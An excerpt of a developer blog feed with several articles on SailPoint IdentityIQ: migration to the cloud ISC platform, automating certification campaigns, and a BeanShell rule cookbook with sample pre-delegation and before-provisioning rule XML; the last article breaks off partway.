&lt;p&gt;IdentityIQ's extensibility model is deliberately unrestricted: a BeanShell rule can import any Java class on the classpath, open a JDBC connection to an external system, call &lt;code&gt;context.saveObject()&lt;/code&gt; to commit changes directly, and generally do anything a first-class Java method could do. That's exactly why our &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/"&gt;BeanShell Rule Cookbook&lt;/a&gt; and &lt;a href="https://dev.to/posts/sailpoint-identityiq-automating-certification-campaigns/"&gt;certification automation guide&lt;/a&gt; can show working exclusion rules, pre-delegation rules, and provisioning logic that reach into arbitrary application state.&lt;/p&gt;

&lt;p&gt;ISC/Human Fabric does not run BeanShell. Cloud Rules are JavaScript-based, sandboxed, and time-boxed — SailPoint's own developer documentation describes them as able to read the ISC data model but explicitly unable to commit transactions or save objects, which rules out the "rule quietly writes back to another object" pattern that shows up in several IIQ provisioning rules. There are fewer than 20 Cloud Rule types total, against roughly 200 rule types in IIQ.&lt;/p&gt;

&lt;p&gt;The practical consequence for a migration:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Identity attribute calculation logic&lt;/strong&gt; (formatted IDs, computed manager chains, string transforms) mostly maps to a &lt;strong&gt;Transform&lt;/strong&gt; — a declarative JSON object, not code. Transforms handle concatenation, date math, conditional branching, and lookup tables without executing arbitrary logic.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rules with genuine procedural logic&lt;/strong&gt; that don't fit a Transform's declarative model become a &lt;strong&gt;Cloud Rule&lt;/strong&gt;, rewritten in JavaScript within the sandbox's constraints.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Rules that call custom Java classes, open direct database connections, or write to application state outside IdentityIQ's own objects&lt;/strong&gt; generally have no direct ISC equivalent. That logic has to move to the connector layer (a custom SaaS connector, or logic inside a JDBC/Web Services source configuration) or be redesigned around ISC's supported extension points entirely.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If your IIQ deployment leans heavily on category 3 — and after years of BeanShell customization, most mature deployments do somewhere — that's the work that actually determines your migration timeline, not the data migration itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  Connector and Source Migration
&lt;/h2&gt;

&lt;p&gt;For connectors SailPoint has published a supported path for, there's a &lt;strong&gt;VA-to-SaaS source migration&lt;/strong&gt; tool that converts a Virtual-Appliance-based source to a native SaaS source connection without re-onboarding the application from zero: existing accounts, entitlements, access profiles, roles, password policy settings, and correlation configuration on the source carry over. It requires Admin or Source Admin user level in ISC to run.&lt;/p&gt;

&lt;p&gt;That path only exists where SailPoint has built and published it for a specific connector. Two categories fall outside it:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Custom IIQ connectors&lt;/strong&gt; extending &lt;code&gt;sailpoint.connector.Connector&lt;/code&gt; (the on-prem SPI) have no automated migration — they need to be rebuilt against ISC's SaaS connector framework, which is a different extension model entirely, not a recompile.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Connectors without a published SaaS equivalent yet&lt;/strong&gt; — check the specific connector's documentation page for a "Source Migration" section before planning around it; don't assume support exists because a similar connector has it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Object Migration with sp-config
&lt;/h2&gt;

&lt;p&gt;For configuration objects that do have an ISC equivalent — approved Cloud Rules, Transforms, provisioning policies — the &lt;code&gt;sp-config&lt;/code&gt; API and CLI support exporting objects from a sandbox tenant and importing them into production once they've passed SailPoint's rule review process for cloud-executed rules. This is the mechanism for promoting tested Cloud Rules and Transforms between tenants; it is not a bulk IIQ-object-to-ISC-object converter. BeanShell &lt;code&gt;&amp;lt;Rule&amp;gt;&lt;/code&gt; XML from an IIQ export does not import into ISC as a Cloud Rule — it has to be rewritten first using the mapping above, then the rewritten object goes through &lt;code&gt;sp-config&lt;/code&gt; for promotion between ISC environments.&lt;/p&gt;

&lt;h2&gt;
  
  
  Realistic Migration Timeline
&lt;/h2&gt;

&lt;p&gt;Vendor case studies and migration-framework write-ups consistently describe IIQ implementations running 12-18 months on their own, with an ISC/Human Fabric migration adding a further multi-quarter program on top rather than replacing that timeline. The variables that move the estimate most:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Rule inventory size and category&lt;/strong&gt; — how many of your BeanShell rules fall into the "no direct equivalent" bucket above.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom connector count&lt;/strong&gt; — each one without a published SaaS migration path is effectively a connector rebuild project.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Data volume and identity attribute complexity&lt;/strong&gt; — larger, more customized identity cubes take longer to validate post-migration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Whether you run IIQ and ISC in parallel&lt;/strong&gt; during cutover (recommended for anything beyond a small deployment) versus a hard cutover, which adds coordination overhead but substantially reduces risk.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Should a New Deployment Start on IdentityIQ or ISC/Human Fabric?
&lt;/h2&gt;

&lt;p&gt;For the majority of new SailPoint deployments in 2026, start on ISC/Human Fabric. SailPoint has been explicit that ongoing platform investment — AI-driven access recommendations, predictive access modeling, identity graph relationship mapping, and non-human/agentic identity governance through the companion Agentic Fabric product — is concentrated on the cloud platform, while IdentityIQ continues to receive support and security patches without the same pace of net-new capability.&lt;/p&gt;

&lt;p&gt;IdentityIQ still makes sense as the starting point when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Data residency or air-gap requirements&lt;/strong&gt; mandate on-premises deployment with no SaaS option.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deep custom Java connector or BeanShell logic&lt;/strong&gt; is a hard requirement from day one, and there's no appetite to design around ISC's sandboxed extension model from the start.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regulatory or contractual constraints&lt;/strong&gt; specifically require self-managed infrastructure for identity data.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Outside those cases, starting on IIQ in 2026 mainly defers the ISC migration project rather than avoiding it — which is worth weighing against the multi-quarter migration cost described above if cloud is the eventual destination anyway.&lt;/p&gt;

&lt;h2&gt;
  
  
  Related Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;SailPoint IdentityIQ BeanShell Rules, Workflows, and Tasks: A Developer's Guide&lt;/a&gt; — the on-prem rule types this guide's migration mapping is built against&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/"&gt;SailPoint IdentityIQ BeanShell Rule Cookbook: Provisioning and Certification Rules&lt;/a&gt; — working examples of the rule patterns that need rewriting for Cloud Rules&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide/"&gt;SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide&lt;/a&gt; — the on-prem aggregation model that ISC's SaaS/VA source connectors replace&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>iam</category>
      <category>identitygovernance</category>
    </item>
    <item>
      <title>Automating SailPoint IdentityIQ Certification Campaigns</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 18 Sep 2026 00:37:54 +0000</pubDate>
      <link>https://dev.to/iamdevbox/automating-sailpoint-identityiq-certification-campaigns-4jee</link>
      <guid>https://dev.to/iamdevbox/automating-sailpoint-identityiq-certification-campaigns-4jee</guid>
      <description>&lt;p&gt;Most SailPoint IdentityIQ teams automate certification campaigns the wrong way first: they go looking for an &lt;code&gt;iiq console&lt;/code&gt; command or a script to launch a campaign programmatically, the way you might script an aggregation task. That path doesn't exist — the console explicitly has no certification-scheduling functionality, and its default 128 MB heap can't hold the objects a real campaign generates even if it did. IdentityIQ automates certifications through two mechanisms built for the purpose instead: recurring schedules baked into the certification definition, and event-driven campaigns that fire off an identity change rather than a clock. This guide covers both, plus the BeanShell rules that keep an automated campaign from burying reviewers in noise.&lt;/p&gt;

&lt;p&gt;If you haven't built a BeanShell rule for IdentityIQ before, start with our &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt; and the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/"&gt;Certification Exclusion Rule walkthrough&lt;/a&gt; in our rule cookbook — this article builds directly on the exclusion rule pattern covered there.&lt;/p&gt;

&lt;h2&gt;
  
  
  Recurring Certifications: Automation Through the Schedule, Not a Script
&lt;/h2&gt;

&lt;p&gt;The Schedule Certification wizard's Basic page is where most certification automation actually lives, and it's easy to underuse. Every non-targeted certification type — Manager, Application Owner, Entitlement Owner, Advanced, Account Group Membership, Account Group Permissions, Role Membership, Role Composition, and Identity — supports a recurrence frequency (daily, weekly, monthly, quarterly, or annual) directly on that page. Once configured, IdentityIQ launches the next campaign in the series on schedule with no further action, using the same certifier assignment logic, rules, and notification templates as the campaign before it.&lt;/p&gt;

&lt;p&gt;Two settings on that same page matter more for automation than they get credit for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Staged activation.&lt;/strong&gt; Setting Activation Method to Staged means the certification generates its &lt;code&gt;CertificationEntity&lt;/code&gt; and &lt;code&gt;CertificationItem&lt;/code&gt; objects but does not notify certifiers or start the clock on any phase. This is the safe way to let a recurring campaign generate automatically while still reviewing what it produced before reviewers see it — useful in the first few cycles after standing up a new recurring campaign, or any time you've changed an exclusion or pre-delegation rule attached to it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;"Use Certification as a Template."&lt;/strong&gt; Right-clicking an existing certification and selecting this option copies its full configuration — rules, notification settings, recurrence — into a new definition. For teams standardizing a recurring campaign across multiple business units, this is faster and less error-prone than rebuilding the Advanced Settings rule attachments from scratch each time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Certification Events: Automation Triggered by Identity Changes
&lt;/h2&gt;

&lt;p&gt;Recurring schedules cover the calendar-driven case — quarterly access reviews, annual recertification. They don't cover the case where access needs review &lt;em&gt;because something changed&lt;/em&gt;, and waiting for the next scheduled cycle leaves a window where stale access sits unreviewed. Certification Events close that gap by launching a certification automatically when a specific condition is detected during an identity refresh cycle, rather than on a schedule:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Event Type&lt;/th&gt;
&lt;th&gt;Fires When&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Create&lt;/td&gt;
&lt;td&gt;A new identity is discovered in IdentityIQ&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manager Transfer&lt;/td&gt;
&lt;td&gt;An identity's manager attribute changes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attribute Change&lt;/td&gt;
&lt;td&gt;A configured identity attribute is modified&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Native Change&lt;/td&gt;
&lt;td&gt;A change is detected directly on a native application account&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Alert&lt;/td&gt;
&lt;td&gt;An enterprise alert condition is triggered&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rule&lt;/td&gt;
&lt;td&gt;Custom BeanShell logic determines when the event fires&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Manager Transfer is the one most deployments configure first, and for a specific reason: when a manager reassignment happens outside a scheduled campaign window, the identity's access can go unreviewed by anyone with real context on it until the next periodic certification runs — which might be months away. A Manager Transfer event instead generates a targeted access review for the new manager as soon as the transfer is detected on the next refresh, so the person who actually knows the role reviews the access close to when the change happened, not on a quarterly delay.&lt;/p&gt;

&lt;p&gt;The Rule event type is the escape hatch for anything the five built-in triggers don't cover — a custom BeanShell rule evaluates during the refresh cycle and returns whether the event should fire for a given identity, giving you the same flexibility as a scheduled campaign's Advanced Settings rules, but on an event-driven cadence instead of a fixed one.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tuning an Automated Campaign With Exclusion and Pre-Delegation Rules
&lt;/h2&gt;

&lt;p&gt;An automated campaign that runs unattended needs tighter guardrails than one a human schedules manually, because there's no one glancing at the certifier list or entity count before it goes out. Two rule types, both configured under &lt;strong&gt;Certifications → Certification Schedule → Advanced Settings&lt;/strong&gt;, do most of that work:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Exclusion rules&lt;/strong&gt; remove specific certifiable items before the reviewer ever sees them — disabled accounts, or entitlements already justified through an assigned role. The full working example, including the &lt;code&gt;instanceof&lt;/code&gt; guard you need because &lt;code&gt;certifiableEntities&lt;/code&gt; mixes &lt;code&gt;EntitlementCertifiable&lt;/code&gt;, &lt;code&gt;BundleCertifiable&lt;/code&gt;, and &lt;code&gt;PolicyViolationCertifiable&lt;/code&gt; objects, is in the &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/#certification-exclusion-rules"&gt;rule cookbook's Exclusion Rule section&lt;/a&gt;. For an automated, recurring or event-driven campaign, this rule matters more than it does for a one-off manual certification — a manager who gets the same noisy 40-item review every quarter without it starts rubber-stamping the whole thing, which defeats the point of certifying at all.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pre-delegation rules&lt;/strong&gt; route specific access reviews to someone other than the identity's default certifier — for example, sending every entitlement on a high-risk financial application to a dedicated application-security reviewer instead of the identity's line manager, regardless of who that manager happens to be this quarter. This is the rule type that makes automated campaigns viable for sensitive applications: without it, an unattended Manager Transfer event could route a privileged entitlement review to a brand-new manager who has no basis to evaluate it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd"&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Delegate Financial App Entitlements to AppSec"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"CertificationPreDelegation"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Description&amp;gt;&lt;/span&gt;
    Routes certifiable entitlements on the "GL-Finance" application to a dedicated
    application-security reviewer instead of the identity's manager, regardless
    of certification type or trigger (scheduled or event-driven).
  &lt;span class="nt"&gt;&amp;lt;/Description&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"java.lang.String"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"identity"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Identity"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"certifiable"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Certifiable"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.EntitlementCertifiable;
    import sailpoint.object.EntitlementSnapshot;

    if (!(certifiable instanceof EntitlementCertifiable)) {
        return null;
    }

    EntitlementCertifiable ec = (EntitlementCertifiable) certifiable;
    EntitlementSnapshot snap = ec.getEntitlements();

    if (snap != null &amp;amp;&amp;amp; "GL-Finance".equals(snap.getApplicationName())) {
        return "appsec.reviewer";
    }

    return null;
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Returning &lt;code&gt;null&lt;/code&gt; leaves the certifier assignment untouched — the rule only overrides the specific items it matches, which is what lets it run safely across every certification type and trigger without needing a separate rule per campaign.&lt;/p&gt;

&lt;h2&gt;
  
  
  Validating Before an Automated Campaign Goes Live
&lt;/h2&gt;

&lt;p&gt;The failure mode that matters most for automated campaigns is the quiet one: an exclusion rule that over-excludes, or a pre-delegation rule with a typo in the target identity name, produces a certification that looks complete in the UI with no error and no warning. Nobody scheduled it manually, so nobody is watching for it to look wrong.&lt;/p&gt;

&lt;p&gt;Before attaching a new or changed rule to a recurring schedule or a Certification Event:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Run once as Staged.&lt;/strong&gt; Generate the campaign without activating it, and inspect the &lt;code&gt;CertificationEntity&lt;/code&gt; and &lt;code&gt;CertificationItem&lt;/code&gt; counts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Diff against a version without the rule.&lt;/strong&gt; Generate the same campaign scope with the rule detached and compare counts — a large, unexplained drop is the signature of an over-broad exclusion.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Log every match inside the rule&lt;/strong&gt;, not just a final count. A rule that excludes or delegates zero items is frequently the same underlying bug as one that excludes everything: a null check or comparison that always short-circuits. The log is what tells you which failure mode you're looking at, because the campaign output alone can't.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Once a staged run confirms the rule behaves as expected, flip Activation Method back to whatever the live campaign needs (Automatic or Manual) and let the recurrence or event trigger take over from there.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Clone the companion repo&lt;/strong&gt;: Working exclusion and pre-delegation rule templates, plus the staged-certification diff script referenced above, are in &lt;a href="https://github.com/IAMDevBox/sailpoint-iiq-rule-cookbook" rel="noopener noreferrer"&gt;IAMDevBox/sailpoint-iiq-rule-cookbook&lt;/a&gt; — the same repo backing our BeanShell Rule Cookbook article. Note the diff script counts certification items, which confirms a pre-delegation rule didn't change &lt;em&gt;what's&lt;/em&gt; certified — it doesn't confirm &lt;em&gt;who&lt;/em&gt; the reviewer changed to, so still spot-check a few reassigned entities in the UI before activating.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Related Reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-certification/"&gt;SailPoint IdentityIQ BeanShell Rule Cookbook: Provisioning and Certification Rules&lt;/a&gt; — the Exclusion Rule pattern this article builds on&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;SailPoint IdentityIQ BeanShell Rules, Workflows, and Tasks Developer Guide&lt;/a&gt; — foundational rule types and the workflow engine that certification generation runs on&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://dev.to/posts/sailpoint-identityiq-aggregation-troubleshooting-complete-error-guide/"&gt;SailPoint IdentityIQ Aggregation Troubleshooting: Complete Error Guide&lt;/a&gt; — diagnosing the identity refresh cycle that Certification Events depend on&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>iam</category>
      <category>identitygovernance</category>
    </item>
    <item>
      <title>SailPoint IdentityIQ BeanShell Rule Cookbook: Provisioning and Certification Rules</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Wed, 16 Sep 2026 01:06:26 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-and-certification-rules-1n79</link>
      <guid>https://dev.to/iamdevbox/sailpoint-identityiq-beanshell-rule-cookbook-provisioning-and-certification-rules-1n79</guid>
      <description>&lt;p&gt;Most SailPoint IdentityIQ rule tutorials stop at the three rule types you write in your first month: BuildMap, Correlation, and IdentityAttribute. Our own &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;BeanShell Rules, Workflows, and Tasks guide&lt;/a&gt; covers those in depth, plus the &lt;a href="https://github.com/IAMDevBox/sailpoint-iiq-devtools" rel="noopener noreferrer"&gt;companion repo&lt;/a&gt; with working templates for all four. This cookbook picks up where that guide leaves off, with two rule types that show up later in a real deployment and have far fewer working examples floating around: &lt;strong&gt;Provisioning rules&lt;/strong&gt;, which reshape what actually gets sent to a target system, and &lt;strong&gt;Certification rules&lt;/strong&gt;, which control what a reviewer sees during an access review.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Clone the companion repo&lt;/strong&gt;: Working XML templates for every rule type in this article are at &lt;a href="https://github.com/IAMDevBox/sailpoint-iiq-rule-cookbook" rel="noopener noreferrer"&gt;IAMDevBox/sailpoint-iiq-rule-cookbook&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Before and After Provisioning Rules
&lt;/h2&gt;

&lt;p&gt;Every provisioning operation in IdentityIQ — a role assignment, an entitlement request, a disable — becomes a &lt;code&gt;ProvisioningPlan&lt;/code&gt; object that IdentityIQ hands to a connector's &lt;code&gt;provision()&lt;/code&gt; method. Before and After Provisioning rules are your two hooks into that hand-off, and they are configured per-application on the &lt;strong&gt;Rules tab&lt;/strong&gt; of the Edit Application page, not globally.&lt;/p&gt;

&lt;h3&gt;
  
  
  Before Provisioning: Reshaping the Plan
&lt;/h3&gt;

&lt;p&gt;A Before Provisioning rule runs immediately before &lt;code&gt;provision()&lt;/code&gt; is called. It receives four arguments and returns nothing — you mutate the &lt;code&gt;plan&lt;/code&gt; object directly:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Argument&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;org.apache.log4j.Logger&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Logger scoped to the rule&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;context&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sailpoint.api.SailPointContext&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Database access if you need to look something up&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;plan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sailpoint.object.ProvisioningPlan&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The plan about to be sent to the connector&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;application&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;sailpoint.object.Application&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;The application this plan targets&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The canonical use case is a connector or target system that does not support an operation IdentityIQ wants to perform. Directory-style systems are the most common offender: many do not support a true "disable," so the standard fix is converting &lt;code&gt;Disable&lt;/code&gt;/&lt;code&gt;Enable&lt;/code&gt; operations into a &lt;code&gt;Modify&lt;/code&gt; that flips a status attribute instead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version='1.0' encoding='UTF-8'?&amp;gt;&lt;/span&gt;
&lt;span class="cp"&gt;&amp;lt;!DOCTYPE Rule PUBLIC "sailpoint.dtd" "sailpoint.dtd"&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Convert Disable to Status Flag"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"BeforeProvisioning"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Description&amp;gt;&lt;/span&gt;
    Some target systems have no native disable operation. Convert Disable/Enable
    account requests into a Modify that sets an ACCOUNT_STATUS attribute instead,
    so provisioning does not fail with an UnsupportedOperationException.
  &lt;span class="nt"&gt;&amp;lt;/Description&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Signature&lt;/span&gt; &lt;span class="na"&gt;returnType=&lt;/span&gt;&lt;span class="s"&gt;"void"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Inputs&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"log"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"org.apache.log4j.Logger"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"context"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.api.SailPointContext"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"plan"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.ProvisioningPlan"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Argument&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"application"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Application"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Inputs&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Signature&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    import sailpoint.object.ProvisioningPlan;
    import sailpoint.object.ProvisioningPlan.AccountRequest;
    import sailpoint.object.ProvisioningPlan.AttributeRequest;
    import sailpoint.object.ProvisioningPlan.ObjectOperation;
    import java.util.List;

    List requests = plan.getAccountRequests();
    if (requests == null) {
        return;
    }

    for (int i = 0; i &amp;lt; requests.size(); i++) {
        AccountRequest req = (AccountRequest) requests.get(i);

        if (req.getOp() == ObjectOperation.Disable) {
            log.debug("Converting Disable to status-flag Modify for " + req.getNativeIdentity());
            req.setOp(ObjectOperation.Modify);
            req.add(new AttributeRequest("ACCOUNT_STATUS", ProvisioningPlan.Operation.Set, "0"));
        } else if (req.getOp() == ObjectOperation.Enable) {
            req.setOp(ObjectOperation.Modify);
            req.add(new AttributeRequest("ACCOUNT_STATUS", ProvisioningPlan.Operation.Set, "1"));
        }
    }
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two details that cost people real debugging time:&lt;/p&gt;

&lt;ul&gt;
